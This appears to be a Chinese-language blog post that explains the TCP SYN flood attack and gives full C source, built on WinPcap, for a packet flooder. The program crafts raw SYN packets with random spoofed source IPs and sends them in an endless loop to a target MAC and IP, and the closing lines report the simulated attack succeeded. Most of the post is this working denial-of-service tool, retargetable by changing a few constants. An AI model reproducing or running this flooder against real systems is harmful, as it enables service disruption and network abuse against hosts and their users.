syn_flood攻击得原理很简单,通过向目的主机发送大量建立TCP连接得请求,但源IP地址是乱填的,所以本机不会收到TCP应答,而其它主机收到TCP应答后由于之前并没有请求过TCP连接,所以会丢弃这个应答,导致被攻击的主机空等一段时间,资源被白白浪费。
当然这也是理论上的结果,实际上在现在,这种攻击肯定是行不通的。
#include <stdlib.h> #include <stdio.h> #include <pcap.h> #include <winsock2.h> #include <ws2tcpip.h> #include <string.h> #include <stdio.h> #include <wtypes.h> #pragma comment(lib,"ws2_32.lib") #define SEQ 0x12121212 #define PCAP_ERRBUF_SIZE 256 typedef struct et_header { unsigned char eh_dst[6]; //目的地址 unsigned char eh_src[6]; //源地址 unsigned short eh_type; //eh_type的值需要考察上一层的协议,如果为ip则为0×0800 }ET_HEADER; //IPv4包头结构体 typedef struct ip_header { unsigned char ver_ihl; //Version (4 bits) + Internet header length (4 bits) unsigned char tos; //Type of service unsigned short tlen; //Total length unsigned short identification; //Identification unsigned short flags_fo; //Flags (3 bits) + Fragment offset (13 bits) unsigned char ttl; //Time to live unsigned char proto; //Protocol unsigned short crc; //Header checksum unsigned long ip_src; //Source address unsigned long ip_dst; //Destination address }IPHEADER, *PIPHEADER; //TCP包头结构体 typedef struct tcp_header { WORD SourPort; //源端口号 WORD DestPort; //目的端口号 DWORD SeqNo; //序号 DWORD AckNo; //确认序号 BYTE HLen; //首部长度(保留位) BYTE Flag; //标识(保留位) WORD Window; //窗口大小 WORD ChkSum; //校验和 WORD UrgPtr; //紧急指针 }TCPHEADER, *PTCPHEADER; //定义TCP伪首部 注意:TCP与UDP有相同的伪头部结构 typedef struct _psdhdr{ unsigned int saddr; //源地址 unsigned int daddr; //目的地址 CHAR mbz; CHAR ptcl; //协议类型 USHORT tcpl; //TCP长度 }PSDHEADER, *PPSDHEADER; void InitPackageHeader(u_char*); inline USHORT checksum(USHORT *buffer, int size); void main() { pcap_t *fp; char errbuf[PCAP_ERRBUF_SIZE]; u_char packet[100]; pcap_if_t *alldevs; pcap_if_t *d; int inum; int i = 0; /* Retrieve the device list */ if (pcap_findalldevs(&alldevs, errbuf) == -1) { fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf); exit(1); } /* Print the list */ for (d = alldevs; d; d = d->next) { printf("%d. %s", ++i, d->name); if (d->description) printf(" (%s)\n", d->description); else printf(" (No description available)\n"); } if (i == 0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return; } printf("Enter the interface number (1-%d):", i); scanf("%d", &inum); if (inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Free the device list */ pcap_freealldevs(alldevs); return; } /* Jump to the selected adapter */ for (d = alldevs, i = 0; i< inum - 1; d = d->next, i++); /* 打开输出设备 */ if ((fp = pcap_open_live(d->name, // name of the device 100, // portion of the packet to capture. // 65536 grants that the whole packet will be captured on all the MACs. 1, // promiscuous mode (nonzero means promiscuous) 1000, // read timeout errbuf // error buffer )) == NULL) { fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name); return; } /* 要攻击的目的MAC地址,可用ipconfig/all查询 */ packet[0] = 0x00; packet[1] = 0x0A; packet[2] = 0x18; packet[3] = 0x16; packet[4] = 0x14; packet[5] = 0x34; /* 设置MAC源地址为 2:2:2:2:2:2 */ packet[6] = 2; packet[7] = 2; packet[8] = 2; packet[9] = 2; packet[10] = 2; packet[11] = 2; /*协议类型为以太网*/ packet[12] = 0x08; packet[13] = 0x00; /* 填充剩下的内容 ,以太帧头的长度是14个字节,数据部分46-1500个字节,这里采用最短的46字节,所以以太帧的帧尾部分是从第63个字节开始*/ //CRC冗余校验码不用计算,乱填就行 //官方文档:The MAC CRC doesn't need to be included, because it is transparently calculated and added by the network interface driver. for (i = 62; i<100; i++) { packet[i] = i % 256; } /* 发送数据包 */ while (1) { InitPackageHeader(packet + 14);//填充IP数据包的部分 // memcpy(packet+14,tmpBuf,sizeof(tmpBuf)); if (pcap_sendpacket(fp, packet, 100 /* size */) != 0) { fprintf(stderr, "\nError sending the packet: \n", pcap_geterr(fp)); return; } printf("已攻击\n"); } return; } void InitPackageHeader(u_char *tmpBuf) { IPHEADER ip_header; TCPHEADER tcp_header; PSDHEADER psd_header; int ipsz, tcpsz, psdsz, itsz, ptsz; ipsz = sizeof(IPHEADER); tcpsz = sizeof(TCPHEADER); psdsz = sizeof(PSDHEADER); ptsz = psdsz + tcpsz; itsz = ipsz + tcpsz; //初始化IP头部 ip_header.ver_ihl = (4 << 4 | sizeof(ip_header) / sizeof(ULONG)); /*区分字节部分一般不起作用*/ ip_header.tlen = htons(sizeof(ip_header) + sizeof(TCPHEADER)); ip_header.identification = 1; ip_header.flags_fo = 0x40;//??? ip_header.ttl = 128; ip_header.proto = IPPROTO_TCP; ip_header.crc = 0; ip_header.ip_src = rand(); ip_header.ip_dst = inet_addr("127.0.0.1"); //初始化TCP头部 tcp_header.SourPort = htons(rand() % 16383 + 49152); tcp_header.DestPort = htons(5000); tcp_header.SeqNo = htonl(rand() % 90000000 + 2345); tcp_header.AckNo = 0; tcp_header.HLen = (sizeof(TCPHEADER) / 4 << 4 | 0); tcp_header.Flag = 0x02; tcp_header.UrgPtr = 0; tcp_header.ChkSum = 0; tcp_header.Window = htons(2048); //初始化TCP伪头部 psd_header.saddr = ip_header.ip_src; psd_header.daddr = ip_header.ip_dst; psd_header.mbz = 0; psd_header.ptcl = IPPROTO_TCP; psd_header.tcpl = htons(sizeof(TCPHEADER)); //填充IP首部和TCP首部的校验和部分 memcpy(tmpBuf, &psd_header, psdsz); memcpy(tmpBuf + psdsz, &tcp_header, tcpsz); tcp_header.ChkSum = checksum((USHORT*)tmpBuf, ptsz);/*将TCP首部和TCP伪首部加在一起算TCP首部校验和*/ memset(tmpBuf, 0, ptsz);//清空temBuf memcpy(tmpBuf, &ip_header, ipsz);//将IP包首部放入temBuf,计算校验和 ip_header.crc = checksum((USHORT*)tmpBuf, ipsz); memcpy(tmpBuf, &ip_header, ipsz);//放入IP首部 memcpy(tmpBuf + ipsz, &tcp_header, tcpsz);//放入TCP首部 } //计算校验和 inline USHORT checksum(USHORT *buffer, int size) { unsigned long cksum = 0; while (size >1) { cksum += *buffer++; size -= sizeof(USHORT); } if (size) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16); return (USHORT)(~cksum); }
可以看到,被攻击主机在短时间内收到了大量虚假的TCP请求。攻击来源的IP地址是随机的,MAC地址就是我们程序中写入的MAC地址,也说明这些攻击确实是来自我的机器,说明模拟攻击是成功的